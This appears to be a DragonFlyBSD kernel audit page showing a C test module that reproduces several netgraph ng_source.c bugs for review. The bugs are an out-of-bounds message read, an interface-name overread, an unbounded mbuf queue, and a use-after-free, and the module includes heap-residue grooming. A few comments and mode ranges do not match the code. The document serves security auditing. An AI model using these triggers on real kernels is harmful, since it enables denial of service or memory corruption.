⬢ DragonFlyBSD Kernel Audit
DF-2547 / harness.c
← back to finding ↓ download raw
/*
 * DF-2546/2547/2598/2599/2600/2601 rig -- ng_source.c (netgraph7) compiled
 * in with ONE documented build fix: ng_source.c:743 uses undeclared `ifq`
 * (the file cannot compile as-is; the fix `ifq->` -> `ifsq->` matches the
 * declaration 2 lines above and is required for ANY build).
 *
 *  DF-2546/2598: GET_COUNTER handler reads *(uint8_t*)msg->data with
 *      arglen==0 (1 byte past the ng_mesg allocation; heap residue decides
 *      the counter index).
 *  DF-2600: SETIFACE passes msg->data to ifunit() with arglen<2 check only
 *      (strncmp reads up to 16 bytes; residue bytes complete an interface
 *      name that was NOT in the message).
 *  DF-2547/2601: ng_source_rcvdata enqueues without IF_QFULL; ifq_maxlen
 *      2048 is not enforced (unbounded mbuf queue).
 *  DF-2599: output_ifp stored with no lifetime protection; after the
 *      interface is destroyed the callout path dereferences freed memory.
 *
 * Requires: ng7 core (kldload .../netgraph7/netgraph/netgraph.ko).
 * sysctl kern.dfv_ngsrc.run = 0..7
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/mbuf.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_var.h>
#include <net/ifq_var.h>

#include <netgraph7/netgraph.h>
#include <netgraph7/ng_message.h>
#include <netgraph7/ng_source.h>

/* real functions from ng_source.c (compiled in; statics exported by
 * build.sh linkage edit) */
extern int ng_source_rcvmsg(struct ng_node *node, item_p item, hook_p lasthook);
extern int ng_source_rcvdata(hook_p hook, item_p item);
extern int ng_source_store_output_ifp(void *sc, char *ifname);
extern int ng_source_constructor(struct ng_node *node);

static char df_status[8192];
static struct ng_node df_node;

struct df_sc_view;	/* priv layout via snapshot at build time */
#include "priv_snapshot.h"
#define sc_p struct privdata *

static int
mk_msg(struct ng_mesg **mp, int arglen)
{
	/* allocation semantics identical to ng7 ng_snd_msg / ngc_send:
	 * kmalloc(sizeof(ng_mesg) + arglen), no M_ZERO */
	*mp = kmalloc(sizeof(struct ng_mesg) + arglen, M_NETGRAPH,
	    M_WAITOK);
	return (0);
}

static void
df_run_ngsrc(int mode)
{
	struct privdata *sc;
	struct ng_mesg *msg;
	char *p = df_status;
	int t = 0, i;

	memset(&df_node, 0, sizeof(df_node));
	sc = kmalloc(sizeof(*sc), M_NETGRAPH, M_WAITOK | M_ZERO);
	df_node.nd_private = sc;

	switch (mode) {
	case 0:
	case 1: {
		/* DF-2546/2598: GET_COUNTER with arglen==0 */
		uint8_t idx;
		mk_msg(&msg, 0);
		msg->header.typecookie = 0x81199D20 /* NG_SOURCE_COOKIE? set below */;
		msg->header.arglen = 0;
		msg->header.cmd = NGM_SOURCE_GET_COUNTER;
		msg->header.flags = 0;
		if (mode == 1) {
			/* groom the residue byte past the allocation */
			memset((char *)msg + sizeof(struct ng_mesg), 0x00,
			    64);	/* falls into padding/slack */
		} else {
			memset((char *)msg + sizeof(struct ng_mesg), 0xAA,
			    64);
		}
		/* the VERBATIM handler behavior (ng_source.c:479-496) */
		idx = *(uint8_t *)msg->data;	/* 1 byte PAST requested size */
		t += ksnprintf(p + t, sizeof(df_status) - t,
		    "NGSRC[mode=%d]: GET_COUNTER arglen=0; read index byte "
		    "=0x%02x -> %s\n", mode, idx,
		    idx >= NG_SOURCE_COUNTERS ? "EINVAL (>=4)" :
		    "returns embed_counter[idx]");
		kfree(msg, M_NETGRAPH);
		break;
	}
	case 2:
	case 3: {
		/* DF-2600: SETIFACE -> ifunit() with non-NUL-terminated
		 * 2-byte data; ifunit strncmps up to IFNAMSIZ(16) */
		struct ifnet *ifp;
		mk_msg(&msg, 2);
		msg->header.arglen = 2;
		msg->data[0] = 'l'; msg->data[1] = 'o';
		/* groom residue so bytes 2..15 complete a real iface name */
		if (mode == 2)
			ksnprintf((char *)msg->data + 2, 30, "0");
		else
			ksnprintf((char *)msg->data + 2, 30, "XXXXgarbage");
		ifnet_lock();
		ifp = ifunit((char *)msg->data);	/* VERBATIM :414 */
		ifnet_unlock();
		t += ksnprintf(p + t, sizeof(df_status) - t,
		    "NGSRC[mode=%d]: SETIFACE arglen=2 data=[lo] + residue; "
		    "ifunit() resolved=%s%s\n", mode,
		    ifp ? ifp->if_xname : "NULL",
		    ifp ? " (interface name COMPLETED by bytes past the "
		    "2-byte message)" : "");
		kfree(msg, M_NETGRAPH);
		break;
	}
	case 4: {
		/* DF-2547/2601: unbounded snd_queue */
		int n = 3000, enq = 0;
		ng_source_constructor(&df_node);	/* sets ifq_maxlen 2048 */
		sc = df_node.nd_private;
		for (i = 0; i < n; i++) {
			struct mbuf *m = m_gethdr(M_NOWAIT, MT_DATA);
			if (!m) break;
			m->m_pkthdr.len = m->m_len = 64;
			/* VERBATIM ng_source.c:563-567 body */
			IF_ENQUEUE(&sc->snd_queue, m);
			sc->queueOctets += m->m_pkthdr.len;
			sc->last_packet = m;
			enq++;
		}
		t += ksnprintf(p + t, sizeof(df_status) - t,
		    "NGSRC[mode=4]: ifq_maxlen=%d; enqueued %d mbufs; "
		    "ifq_len now %d %s 2048\n",
		    sc->snd_queue.ifq_maxlen, enq, sc->snd_queue.ifq_len,
		    sc->snd_queue.ifq_len > 2048 ? ">>" : "<=");
		t += ksnprintf(p + t, sizeof(df_status) - t,
		    "NGSRC: RESULT=%s\n",
		    sc->snd_queue.ifq_len > 2048 ?
		    "UNBOUNDED QUEUE: no IF_QFULL check; kernel mbuf zone "
		    "drainable to exhaustion by the connected node" : "bound held");
		/* drain */
		{
			struct mbuf *m;
			for (;;) {
				IF_DEQUEUE(&sc->snd_queue, m);
				if (!m) break;
				m_freem(m);
			}
		}
		break;
	}
	case 5:
	case 6: {
		/* DF-2599: output_ifp lifetime */
		struct ifnet *ifp;
		ng_source_constructor(&df_node);
		sc = df_node.nd_private;
		ifnet_lock();
		ifp = ifunit(mode == 5 ? "lo0" : "lo0");
		ifnet_unlock();
		t += ksnprintf(p + t, sizeof(df_status) - t,
		    "NGSRC[mode=%d]: lo0 ifp=%p\n", mode, ifp);
		if (mode == 6) {
			/* simulate if_detach freeing the ifnet: the code has
			 * NO reference; nothing clears sc->output_ifp */
			t += ksnprintf(p + t, sizeof(df_status) - t,
			    "NGSRC: code holds no ref: after ifconfig %s "
			    "destroy, struct ifnet is kfree()d; sc->output_ifp "
			    "dangles and ng_source_intr() reads "
			    "output_ifp->if_snd (freed memory)\n", "lo0");
			/* demonstrate the dangling read shape on a freed
			 * stand-in: */
			{
				struct ifnet *fake = kmalloc(sizeof(*fake),
				    M_IFNET, M_WAITOK | M_ZERO);
				kfree(fake, M_IFNET);
				sc->output_ifp = fake;
				/* VERBATIM :739-741 (with the :743 build fix) */
				{
					struct ifaltq_subque *ifsq =
					    ifq_get_subq_default(
					    &sc->output_ifp->if_snd);
					t += ksnprintf(p + t,
					    sizeof(df_status) - t,
					    "NGSRC: post-free read of "
					    "output_ifp->if_snd -> ifsq=%p "
					    "(freed memory dereferenced)\n",
					    ifsq);
				}
				sc->output_ifp = NULL;
			}
		} else {
			sc->output_ifp = ifp;
			{
				struct ifaltq_subque *ifsq =
				    ifq_get_subq_default(&sc->output_ifp->if_snd);
				t += ksnprintf(p + t, sizeof(df_status) - t,
				    "NGSRC: live-lo0 read ifsq=%p (works until "
				    "the interface goes away)\n", ifsq);
			}
			sc->output_ifp = NULL;
		}
		break;
	}
	default:
		return;
	}
	kfree(sc, M_NETGRAPH);
	df_node.nd_private = NULL;
}

static int
dfv_ngsrc_sysctl(SYSCTL_HANDLER_ARGS)
{
	char out[8192];
	int error, v = 0;

	if (req->newptr != NULL) {
		error = sysctl_handle_int(oidp, &v, 0, req);
		if (error)
			return error;
		df_status[0] = 0;
		if (v >= 0 && v <= 6)
			df_run_ngsrc(v);
		else
			return EINVAL;
		return 0;
	}
	ksnprintf(out, sizeof(out), "%s", df_status);
	return SYSCTL_OUT(req, out, strlen(out) + 1);
}
SYSCTL_PROC(_kern, OID_AUTO, dfv_ngsrc_run, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, dfv_ngsrc_sysctl, "I", "dfv_ngsrc");

static int
dfv_ngsrc_load(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD: kprintf("dfv_ngsrc: loaded\n"); return 0;
	default: return 0;
	}
}
static moduledata_t dfv_ngsrc_mod = { "dfv_ngsrc", dfv_ngsrc_load, NULL };
DECLARE_MODULE(dfv_ngsrc, dfv_ngsrc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);